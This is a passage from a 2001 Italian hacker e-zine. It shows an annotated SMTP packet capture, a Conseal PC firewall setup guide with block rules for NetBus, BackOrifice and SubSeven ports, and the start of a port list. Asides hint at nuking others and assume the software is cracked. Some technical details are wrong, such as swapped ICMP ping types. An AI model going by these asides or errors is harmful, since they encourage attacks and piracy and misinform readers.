Ack: DBF50ABD Flags: PA Window: 8668 TCP ChkSum: 49225 UrgPtr: 0 00000000: 6F o Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50ABD Ack: 009E0B61 Flags: A Window: 32120 TCP ChkSum: 54190 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B61 Ack: DBF50ABD Flags: PA Window: 8668 TCP ChkSum: 62781 UrgPtr: 0 00000000: 3A : Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50ABD Ack: 009E0B62 Flags: A Window: 32120 TCP ChkSum: 54132 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B62 Ack: DBF50ABD Flags: PA Window: 8668 TCP ChkSum: 3845 UrgPtr: 0 00000000: 20 Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50ABD Ack: 009E0B63 Flags: A Window: 32120 TCP ChkSum: 54104 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B63 Ack: DBF50ABD Flags: PA Window: 8668 TCP ChkSum: 51688 UrgPtr: 0 00000000: 65 e Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50ABD Ack: 009E0B64 Flags: A Window: 32120 TCP ChkSum: 54065 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B64 Ack: DBF50ABD Flags: PA Window: 8668 TCP ChkSum: 48834 UrgPtr: 0 00000000: 70 p Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50ABD Ack: 009E0B65 Flags: A Window: 32120 TCP ChkSum: 54042 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B65 Ack: DBF50ABD Flags: PA Window: 8668 TCP ChkSum: 48300 UrgPtr: 0 00000000: 72 r Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50ABD Ack: 009E0B66 Flags: A Window: 32120 TCP ChkSum: 54029 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B66 Ack: DBF50ABD Flags: PA Window: 8668 TCP ChkSum: 49055 UrgPtr: 0 00000000: 6F o Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50ABD Ack: 009E0B67 Flags: A Window: 32120 TCP ChkSum: 54017 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B67 Ack: DBF50ABD Flags: PA Window: 8668 TCP ChkSum: 49555 UrgPtr: 0 00000000: 6D m Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50ABD Ack: 009E0B68 Flags: A Window: 32120 TCP ChkSum: 53995 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 2 Source Port: 1070 Target Port: 25 Seq: 009E0B68 Ack: DBF50ABD Flags: PA Window: 8668 TCP ChkSum: 8562 UrgPtr: 0 00000000: 0D 0A .. Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50ABD Ack: 009E0B6A Flags: A Window: 32120 TCP ChkSum: 53972 UrgPtr: 0 Il destinatario e' stato accettato dal server (250 Ok) Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 8 Source Port: 25 Target Port: 1070 Seq: DBF50ABD Ack: 009E0B6A Flags: PA Window: 32120 TCP ChkSum: 5108 UrgPtr: 0 00000000: 32 35 30 20 4F 6B 0D 0A 250 Ok.. Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 0 Source Port: 1070 Target Port: 25 Seq: 009E0B6A Ack: DBF50AC5 Flags: A Window: 8660 TCP ChkSum: 11880 UrgPtr: 0 Sono pronto a scrivere il messaggio DATA (invio) Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B6A Ack: DBF50AC5 Flags: PA Window: 8660 TCP ChkSum: 51799 UrgPtr: 0 00000000: 64 d Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AC5 Ack: 009E0B6B Flags: A Window: 32120 TCP ChkSum: 53852 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B6B Ack: DBF50AC5 Flags: PA Window: 8660 TCP ChkSum: 52469 UrgPtr: 0 00000000: 61 a Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AC5 Ack: 009E0B6C Flags: A Window: 32120 TCP ChkSum: 53828 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B6C Ack: DBF50AC5 Flags: PA Window: 8660 TCP ChkSum: 47582 UrgPtr: 0 00000000: 74 t Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AC5 Ack: 009E0B6D Flags: A Window: 32120 TCP ChkSum: 53815 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B6D Ack: DBF50AC5 Flags: PA Window: 8660 TCP ChkSum: 52433 UrgPtr: 0 00000000: 61 a Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AC5 Ack: 009E0B6E Flags: A Window: 32120 TCP ChkSum: 53796 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 2 Source Port: 1070 Target Port: 25 Seq: 009E0B6E Ack: DBF50AC5 Flags: PA Window: 8660 TCP ChkSum: 8371 UrgPtr: 0 00000000: 0D 0A .. Il servr mi inviata e scrivere il messaggio, e terminarlo battendo un punto (.) su una line vuota (cioe' invio . invio) Scrivo il mio messaggio: ciao (invio) Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 37 Source Port: 25 Target Port: 1070 Seq: DBF50AC5 Ack: 009E0B70 Flags: PA Window: 32120 TCP ChkSum: 41224 UrgPtr: 0 00000000: 33 35 34 20 45 6E 64 20 64 61 74 61 20 77 69 74 354 End data wit 00000010: 68 20 3C 43 52 3E 3C 4C 46 3E 2E 3C 43 52 3E 3C h .< 00000020: 4C 46 3E 0D 0A LF>.. Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 0 Source Port: 1070 Target Port: 25 Seq: 009E0B70 Ack: DBF50AEA Flags: A Window: 8623 TCP ChkSum: 11701 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B70 Ack: DBF50AEA Flags: PA Window: 8623 TCP ChkSum: 51871 UrgPtr: 0 00000000: 63 c Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AEA Ack: 009E0B71 Flags: A Window: 32120 TCP ChkSum: 53568 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B71 Ack: DBF50AEA Flags: PA Window: 8623 TCP ChkSum: 50175 UrgPtr: 0 00000000: 69 i Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AEA Ack: 009E0B72 Flags: A Window: 32120 TCP ChkSum: 53556 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B72 Ack: DBF50AEA Flags: PA Window: 8623 TCP ChkSum: 52211 UrgPtr: 0 00000000: 61 a Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AEA Ack: 009E0B73 Flags: A Window: 32120 TCP ChkSum: 53543 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B73 Ack: DBF50AEA Flags: PA Window: 8623 TCP ChkSum: 48614 UrgPtr: 0 00000000: 6F o Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AEA Ack: 009E0B74 Flags: A Window: 32120 TCP ChkSum: 53531 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 2 Source Port: 1070 Target Port: 25 Seq: 009E0B74 Ack: DBF50AEA Flags: PA Window: 8623 TCP ChkSum: 8142 UrgPtr: 0 00000000: 0D 0A .. Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AEA Ack: 009E0B76 Flags: A Window: 32120 TCP ChkSum: 53490 UrgPtr: 0 questo e' il punto (.) che chiude il messaggio Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B76 Ack: DBF50AEA Flags: PA Window: 8623 TCP ChkSum: 65199 UrgPtr: 0 00000000: 2E . Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AEA Ack: 009E0B77 Flags: A Window: 32120 TCP ChkSum: 53456 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 2 Source Port: 1070 Target Port: 25 Seq: 009E0B77 Ack: DBF50AEA Flags: PA Window: 8623 TCP ChkSum: 8068 UrgPtr: 0 00000000: 0D 0A .. Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50AEA Ack: 009E0B79 Flags: A Window: 32120 TCP ChkSum: 53433 UrgPtr: 0 Tutto ok. Il server invia il messaggio. Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 30 Source Port: 25 Target Port: 1070 Seq: DBF50AEA Ack: 009E0B79 Flags: PA Window: 32120 TCP ChkSum: 59583 UrgPtr: 0 00000000: 32 35 30 20 4F 6B 3A 20 71 75 65 75 65 64 20 61 250 Ok: queued a 00000010: 73 20 34 39 30 41 44 31 31 33 45 32 0D 0A s 490AD113E2.. Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 0 Source Port: 1070 Target Port: 25 Seq: 009E0B79 Ack: DBF50B08 Flags: A Window: 8593 TCP ChkSum: 11385 UrgPtr: 0 Chiudo la sessione con quit QUIT (invio) Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B79 Ack: DBF50B08 Flags: PA Window: 8593 TCP ChkSum: 47976 UrgPtr: 0 00000000: 71 q Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50B08 Ack: 009E0B7A Flags: A Window: 32120 TCP ChkSum: 53281 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B7A Ack: DBF50B08 Flags: PA Window: 8593 TCP ChkSum: 46845 UrgPtr: 0 00000000: 75 u Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50B08 Ack: 009E0B7B Flags: A Window: 32120 TCP ChkSum: 53264 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B7B Ack: DBF50B08 Flags: PA Window: 8593 TCP ChkSum: 49901 UrgPtr: 0 00000000: 69 i Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50B08 Ack: 009E0B7C Flags: A Window: 32120 TCP ChkSum: 53250 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 1 Source Port: 1070 Target Port: 25 Seq: 009E0B7C Ack: DBF50B08 Flags: PA Window: 8593 TCP ChkSum: 47071 UrgPtr: 0 00000000: 74 t Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50B08 Ack: 009E0B7D Flags: A Window: 32120 TCP ChkSum: 53238 UrgPtr: 0 Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 2 Source Port: 1070 Target Port: 25 Seq: 009E0B7D Ack: DBF50B08 Flags: PA Window: 8593 TCP ChkSum: 7881 UrgPtr: 0 00000000: 0D 0A .. Postfix mi saluta... (231 Bye) Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 9 Source Port: 25 Target Port: 1070 Seq: DBF50B08 Ack: 009E0B7F Flags: PA Window: 32120 TCP ChkSum: 47865 UrgPtr: 0 00000000: 32 32 31 20 42 79 65 0D 0A 221 Bye.. Qui si chiude la sessione tcp. Notate il flag FIN. Il server invia un pacchetto ACK/FIN Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50B11 Ack: 009E0B7F Flags: FA Window: 32120 TCP ChkSum: 53209 UrgPtr: 0 il client risponde con ACK... Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 0 Source Port: 1070 Target Port: 25 Seq: 009E0B7F Ack: DBF50B12 Flags: A Window: 8584 TCP ChkSum: 11210 UrgPtr: 0 ... e manda un ACK/FIN Source IP: 192.168.0.2 Target IP: 192.168.0.1 TCP Length: 0 Source Port: 1070 Target Port: 25 Seq: 009E0B7F Ack: DBF50B12 Flags: FA Window: 8584 TCP ChkSum: 11201 UrgPtr: 0 Il server cortesemente risponde con ACK Source IP: 192.168.0.1 Target IP: 192.168.0.2 TCP Length: 0 Source Port: 25 Target Port: 1070 Seq: DBF50B12 Ack: 009E0B80 Flags: A Window: 32120 TCP ChkSum: 53112 UrgPtr: 0 La connessione e' finita. La drescirizone completa del protocollo SMTP la trovate su RFC788. C0NCLUSi0Ni =========== Il Rituale dello sniffing e' giunto a compimento: sta ora a voi portare avanti la vostra conoscenza dei meccanismi della Rete, studiando i protocolli e facendo pratica, senza paura di osare... Qui non si e' parlato di ip-spoofing, blind-spoofing, hijacking, ma sono state gettate le basi per comprendere queste tecniche. Recuperate i vecchi numeri di BFi e leggetevi i mirabili articoli di FuSys. Ricordate inoltre che coscere la strada e percorrerla sono due cose distinte. Lo scopo comunque e' quello di restare nella Rete come pescatori e non come pesci :) <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [NETW0RKiNG] #01 - 19/03/2001 | | C0NFiGURARE iL C0NSEAL ................................ [çKillJoyç] 0x09/0x1A | +-------------------------------------------------------------------------------+ In questo tutorial cercherò di spiegare cosa sono gli ormai famosi firewall e tenterò di farvi capire come configurarne uno, più precisamente il Conseal PC considerato dalla maggior parte degli utenti della rete il miglior firewall per windows (95/98/NT). Tanto per non farmi rompere in seguito e pararmi il mio bel di dietro, questo tute è a puro scopo informativo, non mi ritengo responsabile di ciò che farete o cambierete dopo averlo letto, studiato e ripassato, quindi leggete, imparate, ma... occhio! ************************************** CHE COS'E' UN FIREWALL Un firewall (tradotto letteralmente 'muro di fuoco') è uno speciale programma in grado di monitorare le porte del nostro amato pc mentre questo 'comunica' con la rete e ci consente di farci vedere ciò che entra e che esce da queste porte. Le principali porte per connessioni e scambio file sono: 21 = porta dell' FTP (protocollo TCP/IP che consente il trasferimento di file) 23 = porta di TELNET (protocollo TCP/IP che consente connessioni a terminali in remoto) 25 = porta dell' SMTP (protocollo TCP/IP per lo scambio di posta elettronica) 110 = porta POP3 (memorizzazione della posta elettronica su di un server (che poi scarichi sul tuo pc)) A queste se ne aggiungono molte altre, tutte con una funzione ben precisa, ma alcune porte sono famose perchè 'rappresentano' alcuni programmi come Netbus (porta standard 12345) e BackOrificie (porta 31337) che installati sul nostro computer rappresentano una potenziale minaccia..... Lo scopo di un firewall quindi è proprio prevenire entrate indesiderate e difenderci da Nukkate, programmi danno ecc/ecc .... Inutile dire che dovete installarvi un firewall soltanto se avete davvero bisogno di proteggere dei dati e non per semplice piacere di averlo e dovrete configurarlo bene, altrimenti non vi proteggerà da niente... inoltre è anche importante dire che nessun programma è in grado di farci ottenere una protezione al 100%, quindi non siate troppo tranquilli se ne installate uno... :) Tanto per rispondere ad alcuni dubbi che mi ponevano alcuni in chat, il Nukenabber non è un vero e proprio firewall, è un utility che scanna le porte e controlla se è tutto a posto, ma a differenza di un normale firewall quando avviene un attacco non chiude immediatamente la porta, ma ci avverte soltanto dell'attacco e solo successivamente blocca il tutto, ma a quel punto siamo belli che fottuti... Usare il Nukenabber e il firewall insieme è possibile ed anche più utile. CONFIGURARE IL CONSEAL PC FIREWALL Bene, ora che sapete più o meno che cos'è un firewall siamo pronti per averne uno e per configurarlo.. Il Conseal si può rimediare al sito ufficiale (http://www.signal9.com) ma lo potete trovare anche su diversi siti di hacker o simili.... Ora che lo avete rimediato e crakkato passiamo a capirne i comandi 'principali' presenti nel menu: FILE: change ruleset file= cambia le ruleset file, quei file che contengono la configurazione del Conseal (.fwr) save ruleset as= salva la ruleset come, cioè salva la ruleset con nome write ruleset in text format= scrive la ruleset in formato testo import a rule subset= importa una rule nella sottosistemazione log file= sistemazione o percorso del file (cioè del firewall) start automatically when windows start= fa partire automaticamente il Conseal all'avvio di windows exit= uscita RULES: CONTROL= controllo firewall up= attiva il firewall logging on= attiva la registrazione dei file prompt before automatic shutdown= sollecita la chiusura automatica del firewall one for all network device (default)= rule valida per le connessioni via modem separate rulesets for Each device= rule non valida per le connessioni via modem ruleset usage= ruleset in uso, (lasciare su 'always') consente l'attivazione delle ruleset sempre password= consente di mettere e confermare una password (non obbligatorio) questa opzione fa si che ogni volta che vorrete accedere ai comandi 'principali' dovrete inserirla, è noioso, ma consente ad altri di non cambiare le impostazioni fatte precedentemente da voi restore default ruleset= vi riporta le rule al punto di partenza, ripulendo ciò che avete creato ALL NETWORK DEVICE= tutti gli 'stratagemmi' per controllare le filtrazioni tra il nostro computer e la rete, diciamo che è un pò il cuore del firewall.... Automatic rule learning= 'apprendimento' automatico delle rule off= il firewall non aggiunge nessuna rule automaticamente checked= il firewall chiede se permettere o bloccare pacchetti,connessioni ecc/ecc unchecked= il firewall aggiunge automaticamente le rule add= aggiunge una rule (manualmente) edit= edita una rule, cioè fa rivedere una rule (quella da voi segnata) per modificarla o revisionarla delete= toglie una rule (manualmente) advanced= funzione avanzata che consente di bloccare o rendere liberi tutti i protocolli tranne che tcp -trasmission control protocol- (protocollo per l'invio di dati in rete), udp -user datagram protocol- (protocollo che non richiede il collegamento diretto tra mittente e ricevente per l'invio di dati su internet), icmp -internet control message protocol- (protocollo di messaggi di controllo internet di tipo IP), ip -internet protocol- (non ha bisogno di spiegazioni... ), arp -address resolution protocol- (protocollo che fornisce indirizzi alle stazioni di lavoro in rete) e rarp -reverse address resolution protocol- (consente la traduzione di indirizzo internet in indirizzo IP. DISPLAY: clear= pulisce lo schermo del Conseal minimize to systray= minimizza, rende più piccolo lo schermo del firewall ogni volta che questo si avvia start in systray= se attivato, ogni volta che si apre il Conseal, compare anche lo schermo, mentre se non attivato, lo schermo non si apre, ma appare solamente l'icona vicino all'ora sulla barra delle applicazioni HELP: what's new in this version= spiega le nuove opzioni del firewall rispetto alla precedente vesione contents= è il menu dell'help, da qui potete vedere tutti i titoli delle spiegazioni contenuti what is a= è un glossario con termini inerenti internet on TCP/IP (enough to use this)= le cose da sapere sufficienti su il protocollo TCP/IP search for help on= la guida in linea sul Conseal pc firewall how to use help= ti manda alla guida di windows, dove qui ti spiega ad usare la guida in linea acknowledgements= una parola incomprensibile per ringraziarci di usarlo e per ricordare che è un firewall ;) about= 'copertina' del Conseal Ora che sappiamo i comandi possiamo iniziare la nostra configurazione delle rule... per far questo aprite il firewall, andate su rules e poi su all network device. Qui vedrete uno schermo bianco con scritto qualcosa se avete già alcune rule (quelle standard) configurate... (v 2.09), in ogni modo con molta pazienza e lucidità mentale (mmm.. ho qualche dubbio..) cerchiamo di capire come si configurano, che fanno e cosa sono queste rule. 1)Block 'land' attack Questa rule consente di bloccare attacchi land, quegli attacchi cioè che tentano di far collegare il tuo pc a se stesso causando il blocco della macchina. Per crearla andate su add, scrivete la descrizione (a piacere) e cliccate su avanti, mettete il service su identification, barrate tutte e due le caselle di direzione, mettete il protocollo su TCP/IP, poichè è qui che avvengono gli attacchi, priority a 20. Ora bisogna vedere se noi vogliamo permettere (allow), bloccare i frammenti (block incoming fragments) o semplicemente bloccare (block) la porta o il range di porte, in questo caso spuntiamo block. (N.B.Il protocollo TCP non frammenta mai i pacchetti). Bene, ora dobbiamo inserire sia in remote che in local l'address 127.0.0.1, mask 255.255.255.255 e in ports scrivete 0 to 65535, spuntate la casella my address (poichè gli attacchi spoofs sembrano venire dalla tua stessa macchina), cliccate su avanti, mettete su always, spuntate warn safe, poi fine. Non era poi così difficile... questa è solo una delle tante rule, e le altre hanno lo stesso procedimento, solamente bisogna configurarle, cioè una ad una cambiarle in base a ciò che devono fare per proteggerci Il priority è il grado con cui ogni volta il firewall controlla le porte, più questo è elevato, prima il firewall controlla la porta e dice se è tutto ok. 2)Allow identification Questa rule serve poichè alcuni sistemi richiedono l' identificazione prima di accedere ad alcuni servizi (IRC); il sistema remoto (sistema a cui ci si può collegare tramite modem o tramite rete di computer locale) crea un inizio di connessione e questa rule permette quest'inizio. Il procedimento come detto sopra è lo stesso, ma cambieranno alcune cose; prima di tutto mettete il priority a 90, spuntate allow e block incoming fragments (qui dobbiamo permettere non solo bloccare..) e mettete il protocollo su TCP/IP. Cliccando avanti mettete su remote l'address 255.255.255.255, mask 0.0.0.0 con ports 0 to 65535 (spuntando all addresses), mentre su local mettete l'address 127.0.0.1 con mask 255.255.255.255 e con ports 113 to 113 (spuntando my address), poi lasciate (o spuntate) su always e su warn safe. 3)Block winNuke Questa rule blocca la porta TCP 139, non permette accessi indesiderati nel tuo hard disck quando hai un dialup e consente al tuo pc di non andare in crash quando vieni 'nukkato' (nella porta 139); qua bisogna prima di tutto cambiare il service e mettere in file and print shares-TCP, mettere il protocollo TCP/IP, segnare entrambe le direction (N.B.se volete nukkare non segnate l'outbound!) e spuntare block. In remote mettere l'address 255.255.255.255, Mask 0.0.0.0 con ports 0 to 65535 (spuntate all addresses), in local mettere l'address 127.0.0.1, mask 255.255.255.255 con ports 139 to 139 (135 to 135 se avete windows NT), spuntate my addresses, poi andate avanti e a differenza delle altre volte spuntate when dialup connection is active e log safe. 4)Allow most internet access Questa rule permette i servizi TCP-base, come l'e-mail, IRC e il 'web browsing'; controlla le porte da 1024 a 5000 generalmente quelle di cui si ha bisogno per i servizi di accesso remoto, mentre non controlla gli altri servizi delle porte da 1 a 1023. Allora... protocollo TCP-IP, spuntate tutte e due le direction e allow block incoming fragments con priorità 100. Andate avanti e spuntando all addresses mettete in remote 255.255.255.255 nell'address, 0.0.0.0 nel mask con ports 0 to 65535, mentre in local, spuntando my address e temporary range, mettete in address 127.0.0.1, in mask 255.255.255.255 con ports 1024 to 5000. Andando avanti nell'ultima schermata spuntate always e log connections. 5)Allow name resolution Questa rule permette al tuo sistema di chiedere al tuo DNS (domain name service) server di tradurre un nome di sito (per esempio http://www.signal9.com) con il relativo indirizzo in cifre (per esempio 195.151.12.15). E' necessario per la lettura dei documenti internet ed altri vari servizi. Per creare questa rule mettete come service DNS con protocollo UDP/IP, priorità 100 e spuntate entrambe le direction e allow-block incoming fragments. Spuntando successivamente all addresses mettete in remote address 255.255.255.255, mask 0.0.0.0 con ports 53 to 53 e spuntando my address e temporary range mettete in local address 127.0.0.1, mask 255.255.255.255 con ports 1024 to 5000. Infine spuntate solo always. uff.. dai che stiamo a metà strada... anche se dopo.. vabbè continuiamo.. 6)Block Netbios during dialup Con questa rule il tuo sistema ti annuncia la presenza del Netbios quando questo si 'allaccia' al tuo pc; questo avviene soltanto se si è durante un dialup. Per configurarla mettere il service su file and print shares-UDP, protocollo UDP/IP, priorità 100 e spuntate le direction e block (e non allow..). Spuntando all addresses sia in remote che in local, in remote address mettete 255.255.255.255, mask 0.0.0.0 con ports 137 to 138, mentre in local mettete 127.0.0.1 in address, mask 255.255.255.255 con ports 137 to 138; andando avanti spuntate poi when dialup connection is active e log safe. 7)Allow Netbios Questa rule è il contrario della rule appena descritta, soltanto che mentre quella sopra serve durante il dialup, questa serve quando il dialup non è attivo e consente al nostro sistema di annunciarci la sua presenza all'interno del nostro pc. Essendo quasi uguale alla rule n°6, dovete lasciare sia il service, il protocollo e le direction invariati, mentre dovete cambiare la priority mettendo 200 e spuntare allow-block incoming fragments. Andando avanti sia in remote che in local, mettete 255.255.255.255 in address, mask 0.0.0.0 e ports 137 to 138 e spuntate entrambi gli all addresses. Nell'ultima schermata spuntate when dialing e mettete l'account che più utilizzate (se ne avete più di uno). 8)Ping others La seguente rule ti consente di 'pingare' altri (ihih..) Per configurarla non mettete niente su service, protocollo ICMP/IP, spuntate le direction, priority a 100 e spuntare allow-block incoming fragments. In remote spuntate poi all addresses e mettete in address 255.255.255.255, mask 0.0.0.0 e types 0 to 0 (consente la 'richiesta del ping'), mentre in local spuntate my address e mettete in address 127.0.0.1, mask 255.255.255.255 con types 8 to 8 (consente la 'risposta del ping'). Infine dopo che siete andati avanti spuntate always. 9)Block ICMP nukes and more Questa rule blocca tutti gli ICMP types non destinate alle altre rule; è importante poichè blocca gli attacchi ICMP più diffusi per farti sconnettere quando sei connesso. Naturalmente non considera le risposte dei ping, mentre se trova altro state tranquilli che blocca... come sempre passiamo alla configurazione.. lasciate il service vuoto, in protocollo mettete ICMP/IP, barrate le direction (N.B.se volete usare gli attacchi ICMP non segnate l'outbound!), priority a 200 e spuntate block; in remote spuntate poi all addresses e all types e mettete in address 255.255.255.255, mask 0.0.0.0 e types 0 to 255, in local invece spuntate all addresses e all types e mettete in address 255.255.255.255, mask 0.0.0.0 e types 0 to 255, poi spuntate always. 10)Allow Arp Allora... l'ARP (address resolution protocol) è il protocollo di gestione degli indirizzi, se questo fosse totalmente bloccato noi in rete saremmo irraggiungibili... questa rule consente quindi al tuo sistema di comunicare con altri. (N.B Non cambiare questa rule se non altamente necessario!) Per configurarla lasciate il service vuoto, mettete in protocollo ARP, segnate le direction e allow-block incoming fragments con priority 100. Spuntate poi sia in remote che in local all addresses e in entrambi i casi mettete in address 255.255.255.255, mask 0.0.0.0 con ports 0 to 0; per finire spuntate su always. Ora vi starete chiedendo... ma abbiamo finito di configurare sto cavolo di Conseal??!! Eheheh.. ancora no.. bisogna sudare per essere al sicuro dai lamah!!! Come avevo detto precedentemente alcune porte sono famose perchè rappresentano trojan ('virus') ed ora quindi dobbiamo creare delle rule che blocchino queste porte in modo da essere al sicuro. Prendiamo come esempio il Netbus che ha come porta standard la 12345. Seguendo il procedimento delle altre rules quindi... andiamo su rule, all network device e add. Ora dopo una breve descrizione (esempio: block Netbus) facciamo la rule: Il service lasciatelo vuoto, non serve.. in protocollo scrivete TCP/IP, poichè i trojan agiscono qui, segnate poi le direction sia in entrata che in uscita (altrimenti lasciate perdere l'uscita.. ;)), mettete una priorità 'standard' come 100 e spuntate block. Ora dopo aver spuntato all addresses in remote e my address in local, mettete in remote l'address 255.255.255.255, mask 0.0.0.0 con ports 12345 to 12345 e in local l'address 127.0.0.1, mask 255.255.255.255 con ports 12345 to 12345; poi always e fine. ecco.. la rule per il Netbus è fatta.. ora bisognerebbe farle altre per gli altri trojan, come per esempio Bo (BackOrificie) con porta 31337 (N.B.BackOrificie 'usa' sia il protocollo UDP che TCP, quindi bisogna fare due rule), Subseven con porta 27374 ecc-ecc. Il procedimento come al solito è sempre lo stesso, quindi a questo punto spero per voi l'abbiate capito... altrimenti preoccupatevi.... :) Adesso finalmente abbiamo finito!... il Conseal è configurato e potete stare più tranquilli. Per qualsiasi informazione, suggerimenti, consigli o critiche potete scrivermi in e-mail all'indirizzo joykill@viruschat.zzn.com +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [NETW0RKiNG] #01 - 19/03/2001 | | P0RTE TCP .............................................. [_phobos_] 0x0A/0x1A | +-------------------------------------------------------------------------------+ PORT NUMBERS REFERENCE I numeri delle porte sono divisi in tre categorie: le 'WELL KNOWN', le 'REGISTERED' e le 'DYNAMIC e/o PRIVATE'. Le Porte WELL KNOWN sono quelle dalla 0 alla 1023 Le porte REGISTERED quelle dalla 1024 alla 49151 Le DYNAMIC e/o PRIVATE dalla 49152 alla 65535. PORTE 'WELL KNOWN' Queste porte sono assegnate 